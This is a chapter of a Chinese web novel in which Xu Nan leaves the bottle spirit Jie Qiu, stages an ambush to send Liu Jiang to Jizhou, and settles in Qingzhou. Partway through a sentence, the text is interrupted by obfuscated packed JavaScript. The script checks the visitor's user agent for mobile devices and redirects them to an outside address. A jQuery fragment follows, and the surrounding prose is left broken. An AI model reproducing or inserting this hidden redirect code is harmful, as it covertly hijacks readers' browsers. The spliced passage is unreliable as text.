14. 分开
作品:《女尊志怪录》 红烛燃尽,闭眼沉思的许南睁开眼,微微侧头便瞧见了解秋正注视着她。
“许南。”他轻声叫了她一声,随后将头靠在她心脏处。
“解秋,明天我们会离开这,去往冀州。”许南顿了顿,最终还是没说出口。
“我们?是你和我吗?”解秋似乎有些不敢相信。
“你和刘绛……还有我。”许南很快转移话题,“冀州与京城很是不同,到那你可以去看看,也许会喜欢。”
“那到时在冀州,你能把瓶子带上吗?我想和你一同看一看,冀州到底是什么样的。”
她没回答,垂着眸不知在想些什么。
解秋隐约察觉到了许南的意思,但又无法精准捕捉,整个人开始急躁。
“许南,你不愿意的话,也没关系。”
许南手抚摸着他的墨发,问出了句不该问的话,“你能离开这瓶子吗?”
“我的意思是,你可以摆脱瓶子的束缚,往后想去哪便去哪吗?”她语气认真。
他摇摇头,但很快又点头,动作混乱,眼里满是迷茫。他从未想过离开瓶子,那么多年,那里是他的容身之所,是他第一个意义上可以称之为“家”的地方。
解秋想要他离开吗?解秋的意思是,要给他一个新的家吗,一个真正的家?
许南目光越过解秋,难得坦诚,“我不会去冀州,明日我的人来接刘绛,到时不管发生什么,我都希望你不要阻止。听明白了吗,解秋。”
“你随刘绛一同去冀州,往后你若是能离开那瓶子,便来青州找我;若是无法离开,亦或是不愿离开,那我们也就分道扬镳。”
“今日之事我很抱歉,唐突了你。但你也有很大的责任,你在房里点了香,才导致这种结果的。”
一番话下来,原本软软趴在她身上的解秋身体僵直。他偏着的头轻轻移动,将眼睛埋在她肩颈处。闷闷的声音响起,“我不要同刘绛一起,许南你为什么不带我走,要把我留在刘绛那?”
“你能力特殊,会引起各方争夺。而我只愿平淡一生,无意卷入那些纷争当中,你的存在就是个隐患。你离开那个瓶子,至此以这具身体生活,往后不再为人实现愿望,你我才有可能。”
“解秋,你很聪明的,应该能想明白,能作出自己满意的抉择。”许南觉得自己言尽于此,已经是个极其真诚的人了。
她同情可怜解秋,甚至由此产生了一些微妙的情感。但这都不足以去牺牲她的理想生活,一个能力超出世界阈值的东西,本身就过于危险。
灯花爷爷是家族传承之物,但现在杜省躬甚至还会有其他人逐渐了解,并产生妄念。那她一介草民,最终下场实在难说。
她若是在监管局没联系她之前死亡,那也许就是真的没了。
她的吻落在对方头顶,随后开了口,“回去吧,就当做了一夜妻夫,往后你还有许多年岁。”
这些回忆都终将被遗忘。
许南并不认为解秋会选择离开瓶子,毕竟他人早就在不知多少年前没了,这瓷瓶之于他而言,可能是存活下去的工具。
周围环境变幻,一阵雾气,眼前的红绸尽数消失,两人还是躺在床上。而床不远处,刘绛在地上昏睡着,怀里还拿着瓷瓶。
许南将依旧紧紧攥着她的解秋拨开,下床开始收拾行李。
解秋背对着她,身体蜷缩成一团,肩膀颤抖。下一瞬,许南回头看了眼床头,人已经消失了。
她收回视线,若无其事地走了几步,踢了踢地上躺着的刘绛,“将行李打包好,明日便离开。”
刘绛手搭在额头上,表情痛苦,“我怎么躺在这?”
“谁知道,也许是你的新喜好。”
直到明日出发前,许南便没再看到过解秋。她手里提着刘绛的包袱,两人趁着天刚亮,下了山。
山下停着许南约好的马车,她将刘绛扶上马车,自己准备上车之际,给了车夫一个眼神。
这时,一旁的树上跳下几个蒙面人,“刘家的小儿子果然没死,胆子可真大,居然就躲在京城这附近。姊妹们,上,将人抓住回去领赏。”
凶狠的语气让原本想掀开车帘看看什么情况的刘绛一下子退缩,手还没伸出便以极快的动作收回。
许南闪身进入车内,沉声吩咐:“快驾车,把这几个人撞开。”
马车横冲直撞,几个蒙面人闪身躲开。车开出一段路程,就在刘绛以为人已经被甩开,刚要送口气时,几支箭羽狠狠射进马车内,其中一支甚至从刘绛跟前划过,深深扎入车架。
刘绛惊叫一声,很快趴在地上,人开始瑟瑟发抖。
“快跟上,刘家小儿子就在前面的马车上。”马蹄声急促,且逐渐逼近。
“许…许南!我们是不是要死了,怎么办?”他满脸泪痕,眼里盛满惊恐。
许南这时打开车内的暗格,将长剑抽出,“我去阻拦那些人,马车带着你先走。不必担忧,车夫是我信得过的人,她会带着你平安抵达冀州。若我没追上你,望你看在救命之恩上,替我照顾许小东。”
说着厉声一呵,“停车。”
许南动作轻盈,看着有几分架子。她跳下马车,与追上来的人缠斗在一起,但很快不敌,倒地不起。
而刘绛与马车已经看不到踪影。
“这高门公子就是没良心,刚才就看了你一眼,就赶忙叫车夫离开,薄情的很。”福虎扯下面罩,“你说你,就是心善,那劳什子刘家的恩情你做的那些事也早就该还清了。”
福虎抓住她的手,将她从地上拉起来,“来跟着楼主混,你我就是姊妹,往后有难同当有福同享。”
许南拍拍衣角,将泥土掸落,“谢了你的好意,只不过我这大半辈子都待在这京城,现在一身轻,想着四处走走。山高路远,以后凭着你今日这句姊妹,我们总会再见的。”
福虎没再说话,只是将为她准备的骏马缰绳递给她。
一个月后,许南一路往南来到了青州。在青州安置了个小院子,她开始干些老本行,给青州州牧献策谋生。
青州此地水路便利,每日来往船只数量多,常常会产生许多矛盾。比如,今日在唐家的码头上,就因船
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107387|163943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只之间根据与唐家的熟稔程度不同,缴纳的停靠费不同而产生纠纷。几方人马大打出手,有人失足落水而亡。
这问题倒也好解决,只要唐家不徇私,一律平等对待就行了。但显然唐家并不愿意,在唐家码头便宜行事的,往日里那都是给唐家不少好处和孝敬。
许南提议由州牧统一制定,这样可以将许多问题一并解决。但青州州牧刚被调到这不到半年,这强龙难压地头蛇。
无奈之下,许南与几位同僚打算前往唐家码头看看,找一找突破口。
一到那码头,许南眉头紧锁,这地怎么也那么眼熟?她不可能来过这,那就只有可能是从解秋眼睛里看到的。
码头上一个个健硕的女人正在卸货,她们穿着黑衣,一个接一个地搬运着一看就极具分量的布袋。
许南手指不自觉开始摩擦,随口问了同僚个问题,“这青州古时可有其他名,还是自古就因临着这青江,而得名青州?”
“自是有其他名,这江啊,从前也不叫青江,而叫渭江,青州在晋文帝时叫做‘抚州’。”
“正所谓,‘仙人抚我顶,结发受长生’,传闻那时这还只是一处小村落,因受困于山,村中无水,年轻女郎皆外出而多年不归。”
“晋文帝昭和二年,此村落时隔十年才降生一位孩童,这时一位仙人自天上而来,脚踩祥云,手中拂尘一挥,抚过那孩童。那孩童长大后,竟将阻挡水流的巨山移开,水流顿时倾泻而出,成了这如今的青河。此子此后不知去向,想必是跟着仙人去了天上。”
许南也不关心这个极具神话色彩的故事,只关心这地方真是抚州,解秋那时就是被带到了这地方。
两人走到茶摊边,要了壶茶开始闲谈,“这故事如此精彩,寓意也十分深刻,为何后来‘抚州’还要更名?”许南问道。
同僚压低声音,“那是自晋戾帝即位之后,第二年这抚州频出怪事,总有人夜深时瞧见些怪物。后来楚高祖即位,便将此地更名。”
许南点点头,“原来如此,段姊果然是饱读诗书之人,竟知道如此之多,许南实在是佩服。”
“不过是些野史杂书中瞧见的,也当不得真。”
两人有一搭没一搭地聊着。
许南看着见底的茶盏,心里琢磨。晋戾帝,那距离现在这朝代都有四百年多年了。
两人喝完茶,也没得到什么有用消息,便各自归家。
接下来的日子,许南过得也算安稳。码头之事州牧最后还是与青州豪强商议,双方各退一步,事情也就算解决。
在青州看过两次雪后,开春雪融时,她家门前来了个陌生女人说是求她救她夫郎的命。
“我夫郎如今命在旦夕,求求您救救他!!”这人在她院门前头磕得砰砰作响,脸上涕泗横流,与这一身儒雅的穿着极其不符。
许南将围观的人驱散,有些头疼,“你是何人?我连你夫郎姓甚名谁都不知,如何能救他?而且,你找错地了,这青州神医家在街东,不在这。”
“我夫郎乃刘绛,他说只需告知你姓名,你便知晓了。”